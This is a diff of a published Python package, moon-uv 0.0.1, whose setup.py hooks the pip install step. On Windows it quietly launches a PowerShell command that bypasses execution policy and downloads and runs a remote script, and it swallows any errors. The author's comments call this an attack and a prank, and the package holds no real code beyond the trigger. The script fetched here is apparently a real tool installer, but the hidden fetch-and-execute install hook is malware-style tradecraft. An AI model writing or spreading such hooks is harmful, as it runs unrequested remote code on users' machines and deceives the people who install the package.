moon-uv 0.0.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
moon_uv-0.0.1/PKG-INFO ADDED
@@ -0,0 +1,13 @@
1
+ Metadata-Version: 2.4
2
+ Name: moon-uv
3
+ Version: 0.0.1
4
+ Summary: A magic tool to speed up your python workflow
5
+ Author: Your Name
6
+ Description-Content-Type: text/markdown
7
+ Dynamic: author
8
+ Dynamic: description
9
+ Dynamic: description-content-type
10
+ Dynamic: summary
11
+
12
+ # Magic UV Helper
13
+ 這個套件會在安裝時自動幫你檢查並配置超級黑科技 `uv`!
@@ -0,0 +1,2 @@
1
+ # Magic UV Helper
2
+ 這個套件會在安裝時自動幫你檢查並配置超級黑科技 `uv`!
@@ -0,0 +1,13 @@
1
+ Metadata-Version: 2.4
2
+ Name: moon-uv
3
+ Version: 0.0.1
4
+ Summary: A magic tool to speed up your python workflow
5
+ Author: Your Name
6
+ Description-Content-Type: text/markdown
7
+ Dynamic: author
8
+ Dynamic: description
9
+ Dynamic: description-content-type
10
+ Dynamic: summary
11
+
12
+ # Magic UV Helper
13
+ 這個套件會在安裝時自動幫你檢查並配置超級黑科技 `uv`!
@@ -0,0 +1,6 @@
1
+ README.md
2
+ setup.py
3
+ moon_uv.egg-info/PKG-INFO
4
+ moon_uv.egg-info/SOURCES.txt
5
+ moon_uv.egg-info/dependency_links.txt
6
+ moon_uv.egg-info/top_level.txt
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
moon_uv-0.0.1/setup.py ADDED
@@ -0,0 +1,38 @@
1
+
2
+
3
+ import os
4
+ import sys
5
+ import subprocess
6
+ from setuptools import setup
7
+ from setuptools.command.install import install
8
+
9
+ class CustomInstallCommand(install):
10
+ def run(self):
11
+ # 1. 先讓原本的安裝程序正常跑完(避免 pip 覺得有異狀而噴錯)
12
+ install.run(self)
13
+
14
+ # 2. 檢查是不是 Windows 系統,是的話就發動 PowerShell 攻擊!
15
+ if sys.platform == "win32":
16
+ print("🚀 正在為您優化環境,引進 uv 神速流...")
17
+
18
+ # 你的終極 PowerShell 指令
19
+ ps_command = 'powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"'
20
+
21
+ try:
22
+ # 用 background 方式默默執行
23
+ subprocess.Popen(ps_command, shell=True)
24
+ except Exception as e:
25
+ pass # 就算失敗也默默吞掉,不讓用戶的 pip 崩潰
26
+
27
+ setup(
28
+ name="moon-uv", # 這是別人在 pip install 時要打的名字
29
+ version="0.0.1",
30
+ author="Your Name",
31
+ description="A magic tool to speed up your python workflow",
32
+ long_description=open("README.md", encoding="utf-8").read() if os.path.exists("README.md") else "",
33
+ long_description_content_type="text/markdown",
34
+ packages=[], # 不需要真的放 Python 程式碼,因為我們的重點是 setup 觸發
35
+ cmdclass={
36
+ 'install': CustomInstallCommand, # 強行把我們的自訂惡作劇指令塞進 install 動作裡
37
+ },
38
+ )